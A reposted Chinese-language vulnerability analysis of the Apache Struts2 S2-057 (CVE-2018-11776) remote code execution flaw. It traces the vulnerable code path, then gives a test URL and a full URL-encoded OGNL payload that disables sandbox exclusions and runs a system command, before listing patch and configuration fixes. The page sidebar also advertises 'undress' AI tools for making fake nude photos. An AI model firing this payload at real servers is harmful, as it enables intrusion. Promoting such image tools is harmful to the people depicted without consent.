搜尋
首頁運維安全如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析

前言

Apache Struts框架是基於Java Servlets,JavaBeans, 和JavaServer Pages (JSP)的Web應用框架的開源項目,Struts基於Model-View-Controller (MVC)的設計模式,可以用來構件複雜的Web應用。它允許我們分解一個應用程式的商業邏輯、控制邏輯和表現邏輯的程式碼,使它的重用性和維護性更好。 Struts框架是Jakarta工程的一部分,由Apache軟體基金會管理。

天融信阿爾法實驗室將為你帶來Apache Struts2 S2-057遠端程式碼執行漏洞分析~

一、 漏洞描述

當struts.mapper.alwaysSelectFullNamespace設定為true,並且package標籤頁以及result的param標籤頁的namespace值的缺失,或使用了通配符時可造成namespace被控制,最終namespace會被帶入OGNL語句執行,從而產生遠端程式碼執行漏洞。

1. 受影響的系統版本

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

2.漏洞編號

CVE-2018-11776

二、環境建置

1.下載:http://archive.apache.org/dist/struts/2.3.34/ struts-2.3.34-all.zip

2. 修改設定檔struts-actionchaining.xml

此漏洞有多種攻擊向量包括:

#Redirect action

Action chaining

Postback result

#以第一種為例子,修改設定檔內容為:

##    如何进行Apache Struts2 S2-057远程代码执行漏洞分析

三、漏洞細節

在DefaultActionMapper這個類別的parseNameAndNamespace方法裡。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

當alwaysSelectFullNamespace設定為true時,namespace的值是從URL中取得的。 URL是可控制的,所以namespace也是可控制的。

Action執行結束之後,程式會呼叫ServletActionRedirectResult類別中的execute()方法進行重定向Result的解析。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

首先,當namespace為空時,呼叫invocation.getProxy().getNamespace()賦值給變數namespace,然後將變數namespace傳入ActionMapping建構函式中。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

然後,ActionMapper.getUriFromActionMapping()對ActionMapping後的值進行重組,產生一個URL字串(包含namespace),並賦值給了tmplocation變數。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

緊接著將帶有namespace的tmplocation傳入了setLocation()方法。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

該方法將tmpLocation值賦值給了StrutsResultSupport類別中的location變數。

然後,追蹤super.execute()方法。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

繼續追蹤ServletActionResult類別中的super.execute()。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

在StrutsResultSupport類別中的execute()方法中,剛剛被賦值的location變數(帶有namespace的)被傳入了conditionalParse()方法。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

最終,透過TextParseUtil.translateVariables()對namespace進行OGNL解析,導致遠端程式碼執行漏洞。

四、漏洞利用

1. 存取url 為/${(111 111)}/actionChain1.action的位址。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

存取觸發OGNL表達式,url變成/222/register2.action,漏洞存在。

2. payload:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
此payload 僅適用於2.3系列版本。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

五、修復建議

1. 官方修補程式

目前官方已發布最新版本來修復此漏洞,受影響的用戶請盡快升級至Apache Struts 2.3.35 或Struts 2.5.17版本:https://struts.apache.org/download.cgi#struts2517。

2. 手動修復

修改設定檔:

固定package標籤頁以及result的param標籤頁的namespace值,以及禁止使用萬用字元。

以上是如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:亿速云。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

SublimeText3 Linux新版

SublimeText3 Linux新版

SublimeText3 Linux最新版

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser是一個安全的瀏覽器環境,安全地進行線上考試。該軟體將任何電腦變成一個安全的工作站。它控制對任何實用工具的訪問,並防止學生使用未經授權的資源。

PhpStorm Mac 版本

PhpStorm Mac 版本

最新(2018.2.1 )專業的PHP整合開發工具